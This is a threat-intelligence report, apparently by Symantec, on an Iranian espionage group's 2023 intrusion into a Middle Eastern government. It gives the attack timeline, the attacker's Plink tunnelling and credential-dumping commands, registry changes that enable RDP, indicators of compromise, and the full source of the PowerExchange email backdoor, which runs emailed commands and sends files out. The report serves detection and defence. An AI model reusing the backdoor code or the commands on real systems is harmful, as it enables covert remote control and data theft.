Crambus: New Campaign Targets Middle Eastern Government

By About the Author

Archived: 2026-04-05 13:33:04 UTC

The Iranian Crambus espionage group (aka OilRig, APT34) staged an eight-month-long intrusion against a government in the Middle East between February and September 2023. During the compromise, the attackers stole files and passwords and, in one case, installed a PowerShell backdoor (dubbed PowerExchange) that was used to monitor incoming mails sent from an Exchange Server in order to execute commands sent by the attackers in the form of emails, and surreptitiously forwarded results to the attackers. Malicious activity occurred on at least 12 computers and there is evidence that the attackers deployed backdoors and keyloggers on dozens more.

In addition to deploying malware, the attackers made frequent use of the publicly available network administration tool Plink to configure port-forwarding rules on compromised machines, enabling remote access via the Remote Desktop Protocol (RDP). There is also evidence the attackers modified Windows firewall rules in order to enable remote access.

Background

Crambus is a long-running Iranian espionage group that has mounted operations against targets in multiple countries, including Saudi Arabia, Israel, the United Arab Emirates, Iraq, Jordan, Lebanon, Kuwait, Qatar, Albania, the U.S., and Turkey.

The group is known to stage long-running intrusions for intelligence gathering and spying purposes. In recent years it has added a heavy social engineering component to the early stages of its attacks.

It most recently came to attention last year, when Microsoft linked the group to a destructive attack against the Albanian government. It assessed that Crambus was involved in gaining initial access and exfiltrating data from impacted networks. Wipers were likely then deployed by other Iran-linked actors.

Toolset Used

During this latest attack, Crambus deployed three previously undiscovered pieces of malware, along with the PowerExchange backdoor, a known backdoor that hadn't yet been attributed to Crambus. In addition to malware, the attackers made use of a number of living-off-the-land and legitimate tools.

- **Backdoor.Tokel:** Has the ability to execute arbitrary PowerShell commands and download files. The command and control (C&C) address is stored in a separate, RC4 encrypted file called token.bin, which is saved in the working directory.
- **Trojan.Dirps:** Used to enumerate all files in a directory and execute PowerShell commands.
- **Infostealer.Clipog:** Information stealing malware that is capable of copying clipboard data, capturing keystrokes and logging processes where keystrokes are entered.
- **Backdoor.PowerExchange:** PowerShell-based malware that can log into an Exchange Server with hardcoded credentials and monitor for emails sent by the attackers. It uses an Exchange Server as a C&C. Mails received with "@@" in the subject contain commands sent from the attackers which allows them to execute arbitrary PowerShell commands, write files and steal files. The malware creates an Exchange rule (called 'defaultexchangerules') to filter these messages and move them to the Deleted Items folder automatically.
- **Mimikatz:** Publicly available credential dumping tool.
- **Plink:** A command-line connection tool for the PuTTY SSH client

Attack Timeline

The first evidence of malicious activity on the target's network occurred on February 1, 2023, when an unknown PowerShell script (file name: joper.ps1) was executed from a suspicious directory: CSIDL_PROFILE\public\sat. The same script was executed multiple times on the same computer (Computer 1) over the next seven days.

Four days later, on February 5, the attackers accessed a second computer (Computer 2) and a renamed version of Plink (msssh.exe), a command-line connection tool for the PuTTY SSH client, was used to configure port-forwarding rules allowing for RDP access from a remote host:

```
CSIDL_PROFILE\public\sat\msssh.exe 151.236.19[.]91 -P [REMOVED]-C -N -R 0.0.0.0:54231:127.0.0.1:3389 -l [REMOVED] -pw [REMOVED]
```

This masqueraded Plink (mssh.exe) was executed repeatedly on this computer up until February 12.

On February 21, malicious activity commenced on a web server (Web Server 1) when a netstat command was executed to retrieve a full list of all TCP and UDP connections.

```
netstat /an
```

The netstat command line switches perform the following actions:

- /a: Tells netstat to display all connections and listening ports.
- /n: Tells netstat to display numerical addresses instead of resolving hostnames to IP addresses.

Next, Plink (mssh.exe) was launched again to enable remote RDP access. After this occurred, there was evidence that a PowerShell script was used to mount the C: drive of another computer on the network.

On April 8, the attackers gained access to a third computer (Computer 3), where another variant of Plink was executed from the %USERPROFILE%\public directory and was used to forward port 3389 to port 999 on all available interfaces:

```
CSIDL_PROFILE\public\plink.exe [REMOVED] -pw [REMOVED] -P [REMOVED] -2 -4 -T -N -C -R 0.0.0.0:999:127.0.0.1:3389
```

The options supplied in the command perform the following actions:

- -2 -4: Enable SSH Version 2 and IPv4 protocol for the connection.
- -T: Requests a pseudo-terminal for the remote session.
- -N: Prevents running a remote command and often used for setting up a port
- -R 0.0.0.0:999:127.0.0.1:3389: Specifies remote port forwarding. It instructs the remote server to listen on Port 999 of all network interfaces (0.0.0.0) and forward any incoming connections to Port 3389 (127.0.0.1:3389) on the local machine (the machine where the command has been run). This effectively sets up a tunnel that allows the attackers to access a remote service such as RDP through the SSH connection.

At the same time, an unknown batch file was executed, which redirected output to a text file in the %USERPROFILE%\public directory.

```
cmd /c CSIDL_PROFILE\public\p2.bat > CSIDL_PROFILE\public\001.txt 2>&1
```

Immediately afterwards, the same Plink command was run a second time. This is followed by the same unknown batch script being executed several more times.

Later that day, Mimikatz was executed from the %TEMP% directory to dump credentials.

On April 9, another netstat command was run on a new compromised computer, the Domain Controller (Computer 4):

```
netstat /aon
```

The “o” option adds the process ID (PID) of the associated process that's using each network connection or listening port. The command will provide a list of all active network connections, both incoming and outgoing, along with the associated PID of the processes using those connections. Three hours later, Mimikatz was run again to dump credentials.

The next day, April 10, an unknown windows batch file (file name: p.bat) was executed on Computer 3. This was followed by a Plink command:

```
plink.exe ssh 78.47.218[.]106 1234qweRRR 443 10999 10.75.45.222 3389
```

The options perform the following actions:

- ssh: Indicates SSH protocol is being used for the connection.
- 78.47.218[.]106: The IP address of the remote server being connected to using SSH.
- 1234qweRRR: Likely a password required to authenticate to the remote server.
- 443: Port number for the SSH connection on the remote server.
- 10999: The local port number that Plink uses to create a tunnel.
- 10.75.45.222: IP address of local machine or network.

- 3389: Remote Desktop Protocol (RDP) port number. This indicates that traffic is being forwarded from the remote server's port 3389 to a local machine for remote desktop access.

The command is used to set up a port forwarding tunnel from the compromised machine as a means to access the remote server's RDP service as if it was running locally.

On April 23, activity resumed on Computer 3, when previously unseen malware named Backdoor.Tokel (file name: telecomm.exe) was executed.

On May 7, a suspicious PowerShell command was executed on the Domain Controller (Computer 4) to run an unknown script (file name: hwf.ps1).

Malicious activity appeared to cease for nearly a month until June 4, when Backdoor.Tokel was executed again on Computer 3. On June 17, a suspicious PowerShell command was executed on the Domain Controller (Computer 4) in order to run another unknown script (file name: zone.ps1).

Harvesting Emails

On June 20, Backdoor.PowerExchange (file name: setapp.ps1) was run on Computer 3.

The PowerShell-based backdoor is designed to execute commands received from the attackers. This is done by logging into compromised mailboxes on an Exchange Server and monitoring for incoming emails from the attackers. Email's that contain "@@" in the subject line are read by Backdoor.PowerExchange and have the ability to execute commands received from the attackers, effectively using the Exchange Server as a C&C.

The script allows four commands to execute:

- If an attachment is detected, it will decode it using Base64 and run it via PowerShell.
- cf: Decodes a Base64 string in the body of the email and executes it via PowerShell. The result of the command is sent back to the attacker via email.
- uf: Decodes the file path and the file contents using Base64 and calls WriteAllBytes to write the file to the system.
- df: Encodes a specified file with Base64 and sends it to the attacker via email. If the file is larger than 5MB it sends the following message to the attacker: "Size is Greater than 5 MB".

The attackers likely installed the script on an ordinary computer on the network in order to avoid raising suspicions created by anomalous network traffic, since internal connections to an Exchange Server are expected behavior.

Malicious Activity Continues

On July 1, the attackers once again utilized the masqueraded version of Plink to open a tunnel on Computer 3 by redirecting RDP to Port 12345 on any listening interface, effectively allowing external connections over RDP to the compromised machine. The next day, July 2, the attackers used netstat to list all open and listening TCP and UDP ports. It's possible the attackers were checking that the SSH tunnel was still active.

On July 8, the attackers used the Domain Controller (Computer 4) to create a service on a remote host (10.75.45[.]222) to run an unknown script (file name: pl.bat). The service was configured to auto-start during the boot up process.

Over the next two days, July 9 and 10, another new piece of malware named Trojan.Dirps (file name: virtpackage.exe) was repeatedly executed on Computer 3.

On July 11, the attackers introduced more malicious tools to Computer 3, installing a third new piece of malware named Infostealer.Clipog (file name (poluniq.exe) which is used to capture keystrokes and steal clipboard contents.

The next day (July 12) the attackers ran Mimikatz on the Domain Controller (Computer 4) to dump credentials.

On July 15, the attackers again ran the unknown PowerShell script (zone.ps1) on the Domain Controller (Computer 4), followed by a second unknown script (copy.ps1).

On July 18, the attackers again executed Infostealer.Clipog on Computer 3 before creating an SSH tunnel using Plink to access RDP services. This SSH tunnel was created again on August 3.

On August 6, yet another unknown PowerShell script (file name: tnc.ps1) was executed on the Domain Controller (Computer 4). Immediately afterwards, Nessus vulnerability scans were observed, specially hunting for Log4j vulnerabilities

on other machines on the network. While this could have been legitimate vulnerability scanning activity, not long afterwards netsh was executed to list all firewall rules.

```
CSIDL_SYSTEM\netsh.exe advfirewall firewall show rule name=[REMOVED] verbose
```

Following this, another PowerShell script was executed. The script appeared to be designed to query and collect information about local user groups and their members on a Windows system. Its output was information about SIDs, names, object classes, and principal sources of local user groups and their members in a structured format.

```
CSIDL_SYSTEM\windowspowershell\v1.0\powershell -NoProfile -Command ;& {$j = sajb {$ErrorActionPreference = 'SilentlyContinue';$groups = Get-LocalGroup | Select-Object Name, Domain, SID;foreach($g in $groups){-join($g.SID,'|',$g.Name);$members = Get-LocalGroupMember -SID $g.SID | Select *;foreach($m in $members){-join(' ',$m.SID,'|',$m.Name,'|',$m.ObjectClass,'|',$m.PrincipalSource);}}};$r = wjb $j -Timeout 300; rcjb $j;};
```

After this, net.exe was used to list all mapped drives, before WMI (Windows Management Instrumentation) was used to execute Plink in order to open port-forwarding on the compromised host, allowing for remote RDP access.

On August 7 and again on August 12, Plink was downloaded from the internet on to the Domain Controller (Computer 4) and saved as \ProgramData\Adobe.exe.

On August 30, the attackers obtained access to a second web server (Web Server 2). They first used Plink to enable access to RDP on Port 12345 from their C&C server (91.132.92[.]90). They then installed Infostealer.Clipog using a different file name (fs-tool.exe).

The next day, August 31, the attackers established a tunnel once again to open RDP access on Port 4455 from their C&C. Output was redirected to a text file (file name: 001.txt). There may have been some issues connecting as the attackers later attempted to create the same tunnel, this time using Port 12345.

On September 1, the attackers shifted their attention to three more computers (Computer 5, Computer 6 and Computer 7), using Certutil to download Plink to each machine. They then executed an unknown PowerShell script (file name: joper.ps1) on Web Server 2.

On September 2, the attackers ran the following netstat command on Web Server 2:

```
netstat -a
```

This command is used to list all active connections. The unknown PowerShell script (file name: joper.ps1) was then run again.

On September 3, the attackers once again ran joper.ps1 before two suspicious Wireshark commands were executed:

```
;CSIDL_SYSTEM_DRIVE\program files\wireshark\extcap\usbpcapcmd.exe; --extcap-interfaces --extcap-version=4.0
```

```
;CSIDL_SYSTEM_DRIVE\program files\wireshark\dumpcap.exe; -D -Z none
```

Wireshark's usbcapcmd utility was used to capture USB traffic on specified USB devices and save the captured data to a file. Similarly, dumpcap was used to capture network packets.

Usbpcapcmd:

- --extcap-interfaces: This option is used to list available external capture interfaces.
- --extcap-version=4.0: Sets the version of Extcap to 4.0 (ensuring compatibility with Wireshark).

Dumpcap:

- -D: Used to list all available capture interfaces.
- -Z none: Sets the capture filter to "none" meaning that all packets on a specified interface should be captured.

It appears the attackers were interested in identifying any available network or USB interfaces from which they could capture packets on the machine.

Immediately afterwards, a suspicious netstat command ran:

```
netstat -a –n
```

This will list all active connections and print them to standard output in numerical form.

After joper.ps1 was once again executed, the attackers turned their attention back to Computer 3, where they ran a number of reg.exe commands:

```
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

```
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

```
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

```
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

```
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

These commands were used to modify system configuration to enable Terminal Services (i.e. remote access) to the computer via RDP.

A few hours later, a suspicious net.exe command was executed to mount the c$ share of another machine using stolen credentials.

```
;CSIDL_SYSTEM\net.exe; use \\[REMOVED]\c$ /user:[REMOVED] [REMOVED]
```

On September 4, the attackers executed three different variants of the joper.ps1 script on Web Server 2. They then turned their attention back to Computer 1, where a new variant of the Backdoor.Tokel malware was installed on the computer.

The next day, September 5 the attackers once again ran the joper.ps1 script on Web Server 2, while using net.exe to mount and unmount various network shares. They then executed Backdoor.Tokel on Computer 3 again before installing it on two more computers (Computer 9 and Computer 10).

Malicious activity continued until September 9, with the attackers largely focusing their attention on Web Server 2, running the joper.ps1 script and mounting/unmounting network shares.

Continuing Threat

Crambus is a long-running and experienced espionage group that has extensive expertise in carrying out long campaigns aimed at targets of interest to Iran. After a 2019 leak of its toolset, there was some speculation that Crambus may disappear. However, its activities over the past two years demonstrate that it represents a continuing threat for organizations in the Middle East and further afield.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

4d04ad9d3c3abeb61668e52a52a37a46c1a60bc8f29f12b76ff9f580caeefba8 – Backdoor.Tokel

41672b08e6e49231aedf58123a46ed7334cafaad054f2fd5b1e0c1d5519fd532 – Backdoor.Tokel

497e1c76ed43bcf334557c64e1a9213976cd7df159d695dcc19c1ca3d421b9bc – Trojan.Dirps

75878356f2e131cefb8aeb07e777fcc110475f8c92417fcade97e207a94ac372 – Infostealer.Clipog

d884b3178fc97d1077a13d47aadf63081559817f499163c2dc29f6828ee08cae – Backdoor.PowerExchange

a1a633c752be619d5984d02d4724d9984463aa1de0ea1375efda29cadb73355a – PowerShell script

22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell script

159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script

6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script

661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script

db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script

497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script

db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script

6b9f60dc91fbee3aecb4a875e24af38c97d3011fb23ace6f34283a73349c4681 – PowerShell script

497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script

be6d631fb2ff8abe22c5d48035534d0dede4abfd8c37b1d6cbf61b005d1959c1 – PowerShell script

22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell script

661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script

159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script

6bad09944b3340947d2b39640b0e04c7b697a9ce70c7e47bc2276ed825e74a2a – PowerShell script

ba620b91bef388239f3078ecdcc9398318fd8465288f74b4110b2a463499ba08 – PowerShell script

d0bfdb5f0de097e4460c13bc333755958fb30d4cb22e5f4475731ad1bdd579ec – PowerShell script

5a803bfe951fbde6d6b23401c4fd1267b03f09d3907ef83df6cc25373c11a11a – PowerShell script

1698f9797f059c4b30f636d16528ed3dd2b4f8290e67eb03e26181e91a3d7c3b – PowerShell script

23db83aa81de19443cafe14c9c0982c511a635a731d6df56a290701c83dae9c7 – PowerShell script

41ff7571d291c421049bfbd8d6d3c51b0a380db3b604cef294c1edfd465978d9 – PowerShell script

c488127b3384322f636b2a213f6f7b5fdaa6545a27d550995dbf3f32e22424bf – PowerShell script

6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script

927327bdce2f577b1ee19aa3ef72c06f7d6c2ecd5f08acc986052452a807caf2 – PowerShell script

a6365e7a733cfe3fa5315d5f9624f56707525bbf559d97c66dbe821fae83c9e9 – PowerShell script

c3ac52c9572f028d084f68f6877bf789204a6a0495962a12ee2402f66394a918 – PowerShell script

7e107fdd6ea33ddc75c1b75fdf7a99d66e4739b4be232ff5574bf0e116bc6c05 – PowerShell script

78.47.218[.]106 – Plink C&C

192.121.22[.].46 – Plink C&C

151.236.19[.]91 – Plink C&C

91.132.92[.]90 – Plink C&C

PowerExchange Script

```
$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.UTF8Encoding
$dir="$env:PUBLIC\MicrosoftEdge"
$directory = get-childitem -Path "$($dir)\*" -Include 'config.conf'
$userid = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME))
$mailList = New-Object Collections.Generic.List[String]
$mailList.Add('Ahmed_Alrashed20@outlook.com')
$subject = "Update Microsoft Edge"
```

```
$body = "Microsoft Edge Update"
$rule = "defaultexchangerules"
function addrule
{
$NewRule = [Microsoft.Exchange.WebServices.Data.Rule]::new()
$NewRule.DisplayName = $rule
$NewRule.Priority = 1
$newRule.IsEnabled = $true;
$NewRule.Conditions.ContainsSubjectStrings.Add("@@")
$NewRule.Actions.MoveToFolder = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::DeletedItems
$CreateRuleOperation = [Microsoft.Exchange.WebServices.Data.CreateRuleOperation]::new($NewRule)
$ExchangeService.UpdateInboxRules([Microsoft.Exchange.WebServices.Data.RuleOperation[]]@($CreateRuleOperation),$true)
}
function connection
{
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
    public bool CheckValidationResult(
        ServicePoint srvPoint, X509Certificate certificate,
        WebRequest request, int certificateProblem) {
        return true;
    }
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
$dllpath = get-childitem -Path "$($dir)\*" -Include 'Microsoft.Exchange.WebServices.dll'
try{[void][Reflection.Assembly]::LoadFile($dllpath.FullName)}catch{$_.Exception | Out-File -
FilePath "$($dir)\EWSERROR.txt" -Append;exit}
$global:ExchangeService = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$ExchangeService.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
$urllist = @([System.Uri][REMOVED],[System.Uri] [REMOVED] ,[System.Uri] [REMOVED])
$userlist = @([REMOVED], [REMOVED] )
foreach($item in $userlist )
{
```

```
$username=$item.split('||')[0]

$password=$item.split('||')[2]

if(-not [string]::IsNullOrEmpty($username))

{

    $ExchangeService.Credentials = New-Object
Microsoft.Exchange.WebServices.Data.WebCredentials($username,$password)

    foreach($url in $urllist)

    {

        $ExchangeService.Url=$url

        try

            {

                $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,
[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)

                $rules= $ExchangeService.GetInboxRules().DisplayName

                if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules"))
{addrule}}else{addrule}

                return $true

            }

        catch{"URL: "+$url.Host+[Environment]::NewLine+"User: "+$username+
[Environment]::NewLine+$_.Exception.Message | Out-File -FilePath "$($dir)\EWSERROR.txt" -Append}

    }

}

$exchangeservice.UseDefaultCredentials=$true

foreach($url in $urllist)

{

    try

        {

            $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,
[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)

            $rules= $ExchangeService.GetInboxRules().DisplayName

            if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules"))
{addrule}}else{addrule}

            return $true

        }

    catch{}

}

if(-not [string]::IsNullOrEmpty($username))

{
```

```
    $ExchangeService.Credentials = New-Object
Microsoft.Exchange.WebServices.Data.WebCredentials($username,$password)
    try
        {
            $ExchangeService.AutodiscoverUrl($username)
            try
                {
                    $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,
[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
                    $rules= $ExchangeService.GetInboxRules().DisplayName
                    if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules"))
{addrule}}else{addrule}
                    return $true
                }catch{}
        }catch{}
}
$exchangeservice.UseDefaultCredentials = $true
try
{
    $ExchangeService.AutodiscoverUrl($username)
    try
        {
            $inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,
[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
            $rules= $ExchangeService.GetInboxRules().DisplayName
            if(-not [string]::IsNullOrEmpty($rules)){if(-not $rules.Contains("defaultexchangerules"))
{addrule}}else{addrule}
            return $true
        }catch{}
}catch{Continue}
}
}
function clean
{
    $folder = New-Object
Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
    try{$inboxfolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($exchangeservice,$folder)}catch{}
    $iv = New-object Microsoft.Exchange.WebServices.Data.ItemView(10)
```

```
    $inboxitems= $inboxfolder.FindItems($iv)
    $itemIds = $inboxitems.id.UniqueId
    foreach($itemId in $itemIds)
        {
            try{$message = [Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$itemId)}catch{}
            if($mailList.Contains($message.ToRecipients.Name))
            {
                $message.Delete('HardDelete')
            }
        }
}
function sendMessage
{param([string]$mail,[string]$data)
    $message = New-Object Microsoft.Exchange.WebServices.Data.EmailMessage($ExchangeService)
    $Resultb64Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
    $message.ToRecipients.Add($mail)
    $message.Subject = $subject
    $message.Body = $body
    $message.Attachments.AddFileAttachment("New Text Document.txt",$Resultb64Bytes)
    try{$message.Send()}catch{}
    Start-Sleep -Seconds 15
    clean
}
function verify
{
    $response = New-Object Collections.Generic.List[String]
    $Inbox = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox
    $DeletedItems=[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::DeletedItems
    $JunkEmail=[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::JunkEmail
    $folders=@($DeletedItems,$Inbox,$JunkEmail)
    foreach($f in $folders)
    {
        $folder = New-Object Microsoft.Exchange.WebServices.Data.FolderId($f)
        try{$inboxfolder=[Microsoft.Exchange.WebServices.Data.Folder]::Bind($ExchangeService,$folder)}catch{}
        $iv = New-object Microsoft.Exchange.WebServices.Data.ItemView(10)
```

```
        $searchFilter = New-Object
Microsoft.Exchange.WebServices.Data.SearchFilter+ContainsSubstring([Microsoft.Exchange.WebServices.Data.ItemSchema]::subject,'@@')
        $result = $ExchangeService.FindItems($folder,$searchFilter,$iv)
        if(-not [string]::IsNullOrEmpty($result))
           {
               $ItemIds = $result.id.UniqueId
               foreach($ItemId in $ItemIds)
               {
                   try{$x=[Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$ItemId)}catch{}
                   $mailSender = $x.sender.Address
                   $xx = $x.Subject -match "@@(.*)@@"
                   try{$id=$Matches[1]}catch{}
                   if(-not [string]::IsNullOrEmpty($id))
                      {
                          if($id -eq $userid )
                          {
                              $response.Add("planA")
                              $response.Add($ItemId)
                              return $response
                          }
                      }
                   elseif($flag -eq $false)
                      {
                          $response.Add("planB")
                          $response.Add($mailSender)
                          return $response
                      }
               }
           }
    }
    return $response
}
function main{
    Param
    (
        [string] $ItemId
```

```
    )
        try{$message=[Microsoft.Exchange.WebServices.Data.Item]::Bind($ExchangeService,$ItemId)}catch{}
        $mailSender = $message.Sender.Address
        $message.IsRead=$true
        $message.Update([Microsoft.Exchange.WebServices.Data.ConflictResolutionMode]::AutoResolve)
        foreach($attachment in $message.Attachments)
        {
            $attachment.Load()
            $RawData = ([System.Text.Encoding]::UTF8.GetString($attachment.Content)).substring(7)
            if ($RawData.Length%4 -ne 0)
            {
                $newRawData = $RawData.PadRight(($RawData.Length+$RawData.Length%4),'=')
                $Data =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newRawData))
            }else{
                $Data = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RawData))
            }
            iex($Data)
            $message.Delete('HardDelete')
            if($cf -eq $true)
            {
                $uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
                foreach ($h in $cmd.GetEnumerator())
                {
                    if ((($h.value).Length%4 -ne 0)
                    {
                        $newValue = ($h.value).PadRight((($h.value).Length+($h.value).Length%4),'=')
                        $com =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newValue))
                    }else{
                        $com =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h.value))
                    }
                    if(![string]::IsNullOrEmpty($com))
                    {
                        $run = iex $com | out-string
                        $extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
```

```
                        $Total
+= "$($uuid)$($userid):$($h.Name):$($uuid)$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$run"))):$($uu
[System.Environment]::Newline

                    }

                }

                sendMessage $mailSender $Total

            }

            if($df -eq $true)

            {

                $uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})

                foreach ($h in $dl.GetEnumerator())

                 {

                    if ($($h.value).Length%4 -ne 0)

                    {

                        $newpath = $($h.value).PadRight(($($h.value).Length+$($h.value).Length%4),'=')

                        $path =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newpath)).Replace('"',"")

                    }else{

                        $path =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h.value)).Replace('"',"")

                    }

                    $size = (Get-Item $path).Length

                    if($size -lt 5mb )

                        {

                            $DataBytes= [System.IO.File]::ReadAllBytes($path)

                            $Datab64 = [Convert]::ToBase64String($DataBytes)

                            $ext = [System.IO.Path]::GetExtension($path)

                            $extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($ext))

                        }

                        else

                        {

                            $Datab64= [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("Size is
Greater than 5 MB"))

                            $extb64= [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))

                        }

                    $Total += "$($uuid)$($userid):$($h.Name):$($uuid)$($Datab64):$($uuid)$($extb64)"+
[System.Environment]::Newline

                    }
```

```
                    sendMessage $mailSender $Total
            }
            if($uf -eq $true)
            {
                $uuid = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {[char]$_})
                foreach ($h in $up.GetEnumerator())
                {
                    $Fileb64 = ($h.value).split(':')[0]
                    $Pathb64 = ($h.value).split(':')[1]
                    if ($Pathb64.Length%4 -ne 0)
                    {
                        $newpathb64 = $Pathb64.PadRight(($Pathb64.Length+$Pathb64.Length%4),'=')
                        $path_save =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($newpathb64)).Replace('"','')
                    }else{
                        $path_save =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Pathb64)).Replace('"','')
                    }
                    if ($Fileb64.Length%4 -ne 0)
                    {
                        $newFileb64 = $Fileb64.PadRight(($Fileb64.Length+$Fileb64.Length%4),'=')
                        $Fileb64Bytes = [System.Convert]::FromBase64String($newFileb64)
                    }else{
                        $Fileb64Bytes = [System.Convert]::FromBase64String($Fileb64)
                    }
                    [System.IO.File]::WriteAllBytes($path_save,$Fileb64Bytes)
                    $Datab64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("file
upload"))
                    $extb64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(".txt"))
                    $Total += "$($uuid)$($userid):$($h.Name):$($uuid)$($Datab64):$($uuid)$($extb64)"+
[System.Environment]::Newline
                }
                sendMessage $mailSender $Total
            }
}}
Function listen
{
```

```
    $timer = [System.Diagnostics.Stopwatch]::StartNew()
    while(($timer.Elapsed.TotalMinutes -lt 5) -and (([string]::IsNullOrEmpty($value))))
    {
        $value = verify
        Start-Sleep -Seconds 10
    }
    $timer.Stop()
    if(-not[string]::IsNullOrEmpty($value))
        {
            if($value[0] -eq "planA")
            {
                return $true
            }
            if($value[0] -eq "planB")
            {
                $mailList+= $value[1]
                sendMessage $value[1] $userid
                return $true
            }
        }
        else
            {
                return $false
            }
}
function alive
{
    foreach ($mail in $mailList)
    {
        sendMessage $mail $userid
        $liste = listen
        if($liste -eq $true)
            {
                return $true
            }
    }
```

```
    return $false
}
function core
{
$global:flag= $true
$value = verify
if(-not[string]::IsNullOrEmpty($value))
    {
        if($value[0] -eq "planA")
        {
            main $value[1]
        }
    }
}
$connect = connection
if($connect -eq $true)
{
    if($directory.Name -ne 'config.conf')
        {
            $global:flag= $false
            $aliv = alive
            if($aliv -eq $true)
                {
                    try{New-Item -Path "$($dir)" -ItemType File -Name "config.conf" -ErrorAction
Stop;core}catch{}
                }
        }else{core}
}else{exit}
```
